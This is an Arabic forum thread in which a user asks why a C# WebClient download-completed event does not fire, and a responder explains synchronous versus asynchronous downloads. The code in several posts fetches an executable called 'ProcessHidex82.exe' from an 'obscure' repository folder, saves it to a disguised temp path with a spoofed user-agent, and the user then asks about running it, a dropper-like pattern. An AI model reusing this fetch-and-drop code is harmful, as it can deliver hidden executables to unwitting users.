تمت الإجابة حدث تحميل الملف webclient

تم تحميل الصفحة في 1,1601253 ثانية
حدث تحميل الملف webclient
إنضم
5 سبتمبر 2019
المشاركات
28
الإعجابات
6
النقاط
3
العمر
20
السلام عليكم ورحمة الله وباركته
اخواني عندي مشكلة في حدث تحميل الملف في WebClient
الي هو الحدث WebClient.downloadFileCompleted
سويت له Console.writeline وماكتب لي اشي ارجو المساعدة وشكرا اخواني
الكود :
كود:
        static void Main(string[] args)
        {
            WebClient Client = new WebClient();
            string TempPath = Path.Combine(Path.GetTempPath());
            System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            Client.Headers.Add("user-agent", "Mozilla");
            Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHidex82.exe?raw=true"), TempPath + "\\REport.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\MOrd.exe");
            Client.DownloadFileCompleted += DownloadCompleted;
        }
        public static void DownloadCompleted(object sender, AsyncCompletedEventArgs e)
        {
            Console.WriteLine("Download Completed");
            Console.ReadKey();
        }
 
إنضم
5 سبتمبر 2019
المشاركات
28
الإعجابات
6
النقاط
3
العمر
20
ماله داعي كتابة موضوعين .

يعني تبينا نركض نحل مشكلتك مثلآ .؟
ياخي شكرا على مرورك ولا تركض ولا شي المشكلة غير المشكلة الاولى ركز شوي هاذي مشكلة في حدث التحميل وداك مشكلة في الفانكشن
 

عـبـدالـله

.:: مُشرف قسم python ::.
rankrankrankrank
إنضم
5 ديسمبر 2013
المشاركات
1,629
الإعجابات
2,091
النقاط
198
الإقامة
webs1.net
وين المتغيرات بالكود .

حتى تستطيع استدعائها .

لكن لا يوجد متغيرات حتى تخزن القيم بداخلها وتستدعيها .

انتظر الاخوه بيحلونها لك
 
إنضم
5 سبتمبر 2019
المشاركات
28
الإعجابات
6
النقاط
3
العمر
20
وين المتغيرات بالكود .

حتى تستطيع استدعائها .

لكن لا يوجد متغيرات حتى تخزن القيم بداخلها وتستدعيها .

انتظر الاخوه بيحلونها لك
مافهمت اي متغيرات ؟ الفكرة اخي ان في استدعاء لي فانكشن ؟ الي هو DownloadCompleted تحت
وفيه Console.writeline المفروض لما يخلص التحميل يكتب لي Completed بس مايكتب وشكرا
 
إنضم
18 أغسطس 2010
المشاركات
88
الإعجابات
67
النقاط
18
وعليكم السلام

كبدايه عليك معرفة الـ sync و الـ async
باختصار شديد جدا
الـ sync
سيتم تنفيذ الكود سطر بعد سطر اي انه سيتم تحميل الملف وانتظار الملف حتي يكتمل التحميل ثم يتم الانتقال للسطر التالي
الـ async
كانك تقول ابدا تحميل الملف ويتم الانتقال للسطر التالي في هذه الحاله ستحتاج الـ حدث لتعرف اذا كان تم الانتهاء من التحميل ام لا

لذا


كود:
WebClient Client = new WebClient();
    string TempPath = Path.Combine(Path.GetTempPath());
    System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    Client.Headers.Add("user-agent", "Mozilla");
    Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHidex82.exe?raw=true"), TempPath + "\\REport.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\MOrd.exe");
    // اكتب الكود مباشرة الذي تود ان يتم تنفيذه بعد اكتمال التحميل لا داعي لحدث هنا
اما اذا كنت تود ان تقوم بالعمليه وهي async
فيجب ان تستخدم
DownloadFileAsync

و الكود يكون

C#:
static void Main(string[] args)
{
    WebClient Client = new WebClient();
    string TempPath = Path.Combine(Path.GetTempPath());
    System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    Client.Headers.Add("user-agent", "Mozilla");
    Client.DownloadFileAsync(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHidex82.exe?raw=true"), TempPath + "\\REport.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\MOrd.exe");
    Client.DownloadFileCompleted += DownloadCompleted;
}
public static void DownloadCompleted(object sender, AsyncCompletedEventArgs e)
{
    Console.WriteLine("Download Completed");
    Console.ReadKey();
}
 
إنضم
5 سبتمبر 2019
المشاركات
28
الإعجابات
6
النقاط
3
العمر
20
وعليكم السلام

كبدايه عليك معرفة الـ sync و الـ async
باختصار شديد جدا
الـ sync
سيتم تنفيذ الكود سطر بعد سطر اي انه سيتم تحميل الملف وانتظار الملف حتي يكتمل التحميل ثم يتم الانتقال للسطر التالي
الـ async
كانك تقول ابدا تحميل الملف ويتم الانتقال للسطر التالي في هذه الحاله ستحتاج الـ حدث لتعرف اذا كان تم الانتهاء من التحميل ام لا

لذا


كود:
WebClient Client = new WebClient();
    string TempPath = Path.Combine(Path.GetTempPath());
    System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    Client.Headers.Add("user-agent", "Mozilla");
    Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHidex82.exe?raw=true"), TempPath + "\\REport.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\MOrd.exe");
    // اكتب الكود مباشرة الذي تود ان يتم تنفيذه بعد اكتمال التحميل لا داعي لحدث هنا
اما اذا كنت تود ان تقوم بالعمليه وهي async
فيجب ان تستخدم
DownloadFileAsync

و الكود يكون

C#:
static void Main(string[] args)
{
    WebClient Client = new WebClient();
    string TempPath = Path.Combine(Path.GetTempPath());
    System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    Client.Headers.Add("user-agent", "Mozilla");
    Client.DownloadFileAsync(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHidex82.exe?raw=true"), TempPath + "\\REport.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\MOrd.exe");
    Client.DownloadFileCompleted += DownloadCompleted;
}
public static void DownloadCompleted(object sender, AsyncCompletedEventArgs e)
{
    Console.WriteLine("Download Completed");
    Console.ReadKey();
}
نورت موضوعي بمرورك العطر اخي CrystalBoy
الي فهمته انا مثلا لو في كود تحت الكود دا بتشغيل الملف حيمله قبل بعدين يشغله ؟ صح؟
وشكرا جزيلا على مرورك
 
إنضم
18 أغسطس 2010
المشاركات
88
الإعجابات
67
النقاط
18
عفوا

نعم ااذا كانت العمليه sync
سينتظر تحميل الملف ثم يتم الانتقال للسطر التالي
اما في الحاله الاخري async
لن يتم الانتظار ولهذا تحتاج لحدث لانك لا تعرف متي سينتهي التحميل
 
إنضم
5 سبتمبر 2019
المشاركات
28
الإعجابات
6
النقاط
3
العمر
20
عفوا

نعم ااذا كانت العمليه sync
سينتظر تحميل الملف ثم يتم الانتقال للسطر التالي
اما في الحاله الاخري async
لن يتم الانتظار ولهذا تحتاج لحدث لانك لا تعرف متي سينتهي التحميل
تسلم حبيبي على مرورك العطر والمعلومات المفيد شكرا اخي CrystalBoy
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل